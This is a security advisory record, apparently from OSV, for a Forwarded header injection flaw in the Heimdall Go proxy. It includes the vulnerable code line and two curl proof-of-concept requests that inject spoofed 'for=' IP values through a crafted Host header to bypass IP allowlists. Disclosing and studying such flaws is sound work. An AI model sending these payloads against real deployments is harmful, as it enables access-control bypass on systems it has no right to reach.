{"id":"CVE-2026-57209","aliases":["GHSA-4jgr-pg2m-m988","GO-2026-5125"],"title":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","summary":"Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode","severity":"high","vendor":"dadrus","product":"github.com/dadrus/heimdall","ecosystem":"go","affected":["github.com/dadrus/heimdall < 0.17.17"],"patched":["github.com/dadrus/heimdall 0.17.17"],"published":"2026-06-18","updated":"2026-07-20","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-4jgr-pg2m-m988","references":[{"url":"https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988"},{"url":"https://github.com/dadrus/heimdall"}],"tags":["osv","go"],"ingestedAt":"2026-07-21T19:04:58.077Z","slug":"CVE-2026-57209","body":"## Overview\n\n### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.\n\n## Affected packages\n\n- `github.com/dadrus/heimdall < 0.17.17`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/dadrus/heimdall 0.17.17`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}